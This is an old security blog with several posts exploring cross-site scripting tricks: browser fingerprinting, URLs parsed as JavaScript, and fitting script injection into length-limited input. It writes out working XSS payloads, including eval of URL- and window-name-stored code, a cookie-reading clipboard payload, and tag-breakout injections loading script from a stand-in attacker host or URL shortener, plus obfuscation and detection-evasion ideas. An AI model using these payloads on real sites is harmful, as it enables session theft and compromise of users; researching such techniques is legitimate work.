gnarlysec

Friday, February 5, 2010

Well, this is something I've been very interested in for quite some time. I've mentioned it a before in a previous blog post (here). Reading that old post makes me laugh - I've gained so much more security experience since I've written that.

Anyways, Bruce Schneier recently pointed out (here) Panopticlick, a website that tries to determine how unique your browser configuration is. Go to http://panopticlick.eff.org/ to check it out. It will run some javascript to determine which plugins you have, your OS, what fonts you have installed, etc. Then it will tell you how unique your data is out of the data it has collected so far. As of the time of this writing, my browser configuration is absolutely unique out of the 577,993 different browsers tested.

As I talked about in my previous post, I think this could definitely lead to more advanced and targeted exploitation of browsers. If an attacker wished to attack developers, or sysadmins, or n00bs, or some other class of person, they could probably do it using browser fingerprints.

Wednesday, January 20, 2010

and have it display an alert. I had said that the javascript interpreter ignored the line that failed and skipped to the next line (the alert). WRONG! The real reason why that works is that URLs are VALID javascript! In javascript, you can label a block of code, like so:

label: {

}

and then use goto statements to jump to it. In the case of URLs, http: is merely a label!

The next part of a url is the two forward slashes, which is, of course, a single-line comment in javascript. Thus, when a newline is inserted into the url, it works because it is VALID javascript. Super coolness!

I haven't been able to find anyone else talk about this. I don't really even care if I "discovered" it first (which I might have?). It's just plain cool and makes me laugh :)

Wednesday, January 13, 2010

Since I've written the first post about my efforts to load external javascript in under 30 characters, I've learned several new tricks to reference "external" javascript. The shortest one is this (20 characters):

"onfocus="eval(name)

This will only work if the window's name property has been set to hold your "external" javascript:

I did some searching around to see if there has been any research done on the maximum supported URL length for various browsers and/or servers, as I was curious how much javascript could be stored in the url (described in this post). I found an article over at boutell.com that had exactly what I was looking for:

Client/Server

Max Bytes

MSIE

2,083, max path: 2,043

Firefox

100,000+

Safari

80,000+

Opera

190,000+

Apache Server

4,000 (supposed: 8,192)

MS ISS

default: 16,384

Perl HTTP::Daemon

~8,000

It seems like the shortest supported url length is 2,083 (MSIE). This would leave us with somewhere around 1900-2000 bytes to store javascript functions (taking out 100-200 bytes for the url and path), which is a decent amount. Then again, if you don't care about IE, then you've got a lot more room.

The more I think about this, the more useful I can see it being. Hosting your javascript files elsewhere can be risky when one is trying not to get caught. Being able to store your "external" javascript in the url would be one way to still include a lot of code that can be used through the use of a single eval(unescape(location.href)) call. Not only that, but because it would take a relatively small number of bytes to eval() the url-stored javascript, this would work in many cases where the server truncates user input.

I wonder if others have thought of this before though. I'm sure I'm not the first to think of this.. Others have: here (lots of chinese characters) and translated, courtesy of Google. The author of this paper (luoluo from the Ph4nt0m Security Team) goes about it slightly differently, requiring the attacker to know the exact length of the full URL. He also uses document.URL, which is shorter than location.href by one byte:

eval(document.URL.slice(80));

The advantage to using the new-line method, is that one must not know the size or location of the javascript in the url. The author does also have several other very interesting ideas, such as using document.referrer as a way to store javascript:

eval(document.referrer.slice(80))

Again, this could be made successful using slicing, splitting, or my new-line method. Also, if it can be assumed that the stored script is always the last part of the url and if the attacker knows how long his script is (he should!), he could work from the end of the url:

eval(document.URL.substr(-##,##))

luoluo also talks about using the clipboard to store the payload. Suppose a user is on your (the attacker's) site. You store the javascript into the victim's clipboard while he's on your site:

clipboardData.setData("text", "alert(document.cookie)");

Then you make him go to a site with XSS vulnerabilities, eval()'ing the data that was stored in the clipboard while the victim was on your site:

to accomplish what I was trying to do. This didn't make much sense to me, so I started experimenting, trying to figure out what he meant. I tried running eval(name) in the Firebug console, and of course, nothing happened. The "name" variable was an empty-string. So I started trying to think of other variables that I might influence through only the url (which is how I was injecting script into the page), when it hit me that maybe he meant to eval the URL itself.

I messed around with this for a bit, running small commands in firebug such as:

eval("http://somesite.com/blah/?param=alert('hello')")

to see how javascript might evaluate something like that. None of those worked. Including a space in the url didn't work:

eval(unescape("http://somesite.com/blah/?param=%20alert('hello')"))

Neither did semicolons. However, newlines work just fine:

eval(unescape("http://somesite.com/blah/?param=%0Aalert('xss')"))

But you do have to remember to unescape the %0A

So what use is this? I could only come up with two uses:

The server truncates the javascript you can inject into the page and you can't load external javascript files

A weird type of javascript obfuscation

1 - If the server truncates your input so that only a certain number of characters make it into the page and you don't want to or can't for some reason load an external javascript file, you could do something like I have below. I'm assuming I only have 50 characters that will actually make it into the page:

The part of my script that I'm intending to make it into the page is below:

<script>eval(unescape(location.href))</script>%20%20%20%20

The actual script part is 46 characters long. To make sure that only that script made it into the page, I added four spaces (url-encoded: %20) to fill up to 50 characters.

After the first 50 characters comes the newline, %0A, and then the script I want to be evaluated, alert('xss').

The eval() function tries to evaluate everything before the %0A, but can't, so it skips to the next "line", which puts it right at alert('xss'), conveniently and nicely separating the two parts of the script. This reminds of buffer overflows, actually. Neato.

2 - Obfuscation. Since a lot of people like to try and obfuscate their javascript, why not put a bunch of it in the url? You could hide your functions there and call eval() on the url before you plan on needing those functions. I bet this would be a nightmare to debug (Firebug doesn't handle this at all, since they're pretty much dynamic functions).

For example, append this to a url:

#%0Afunction%20SayHello%28%29%7Balert%28%27hello%27%29%3B%7D

which is:

function SayHello(){alert('hello');}

Now open up firebug and go to the console. Eval() the url and run the function:

eval(unescape(location.href))

SayHello();

You should have seen the popup. Once again, interesting. This seems to give you new flexibility with javascript, but it's nothing you can't do in other ways. It does, however, let the user supply their own functions that a web-app should use. Why someone would want to do that, I have no idea. The most I can say about it is that it would be rather unwieldy, different, and interesting.

UPDATE (1/13/09):
While writing the post Url-Eval XSS II I finally figured out what Gareth meant by his eval(name) suggestion. When you open a new window with javascript, you can specify the name of the new window. These are the options for the window.open() function:

window.open(URL, NAME, FEATURES, REPLACE)

You could then open a window to the site with the xss vuln and store the javascript in the name of the new window:

The full (uncondensed) html I had to include to break out of the current tag and create my script tags was this:

"><script src="http://attacker.site.com/external.js"></script>

Which is way more than 30 characters (62 characters). To smash it down, first I looked for different ways to reference a url. I found that

http:google.com

works just as well as including both forward slashes in the url.

Then I tried to find a good url-shortener to create a super-small url that I could use. The smallest I came up with came from ix.lt, where I managed to get a url similar to ix.lt/##. The full length I came up with was 37 characters long, still too long for me to actually use to get under the 30 character limit imposed by the server (not the text box):

"><script src=http:ix.lt/##></script>

Since I couldn't think of a way to make it much shorter, I stopped there. Any ideas on how to have a super-short <script></script> block?
I came up with one way that would work in specific situations (sadly, not this one though). Instead of trying to include the </script> tag at the end (which is what pushes me over the limit), I figured I could do something like this:

"><script src=http:ix.lt/##>/*

What this would do is comment out everything after my script tag. However, the only situation in which this would still work is if there is a script tag farther down in the html that has a block comment. For example, such a situation would produce something like this:

If such a situation could be found, my injected <script> tag would have a matching script tag farther down the page, which would complete my script block and would load the external script referenced by my shortened url.

Working copy:

Actually, blogspot won't let me publish a working sample of the code above, because there is no matching </script> tag. So, if you want to test it in your browser, you'll have to copy the code and run it on your computer.

Another thought that occurred to me while I was experimenting with url-shorteners is that it would VERY handy to have a url-shortener that passed supplied url params onto the target url. A shortened url, such as http://ix.lt/google that references http://www.google.com/search would then be able to be used like this: http://ix.lt/google?q=cookie%20recipes, which should end up with the final url of http://www.google.com/search?q=cookie%20recipes, which, of course, would give you a search for cookie recipes.

This would open up a different way to do XSRF, since most url-shorteners (at least the ones I tried) don't keep the url-params from the target url.

Any comments?

UPDATE:
mckt (http://skeptikal.org) suggested using // instead of http:. He explained that the same way a single slash in front of a path means to use the current domain, that a double slash means to use the same protocol, which in this case is http.

This drops the total injection down to 34 characters:

"><script src=//ix.lt/##></script>

This also drops the injection code with the javascript comment down to 27 characters:

"><script src=//ix.lt/##>/*

Almost down to 30 characters!

UPDATE (1/12/09):
I was brainstorming other ways to go about doing this with Miles, and we came up with something:

"><script src=http:ix.lt/## />

30 characters! I had tried using <script /> tags (no second closing tag), but had only tried them in Firefox. Miles brought it up again and tried it in Safari, and boom, it worked! It also works in Chrome. I think it's a WebKit behavior that accepts those types of script blocks.

Originally after we had started experimenting with the <script /> form, we were still using //ix.lt/## as the url to load our javascript from. For some reason, it just wasn't loading our script when we tried it on the site we were testing. So I used the firebug console and typed location.href = "//ix.lt/##", which took us to https://ix.lt/## instead of http://ix.lt/##. It soon became very apparent that ix.lt doesn't support https, which was causing the problem.

To fix the problem, we had to revert back to the slightly-longer form of http:ix.lt/##. However, this was still under 30 characters, so we met our goal.

I learned a lesson to not forget what the shortcuts mean when you use them. I could have easily pounded my head against this one for a long time without realizing why it wasn't working. Shortest ≠ bestest (I know, bad grammar, but it rhymes!)

I also posted something over at http://sla.ckers.org asking for other ideas. It might be worth it to check back on that every now and then.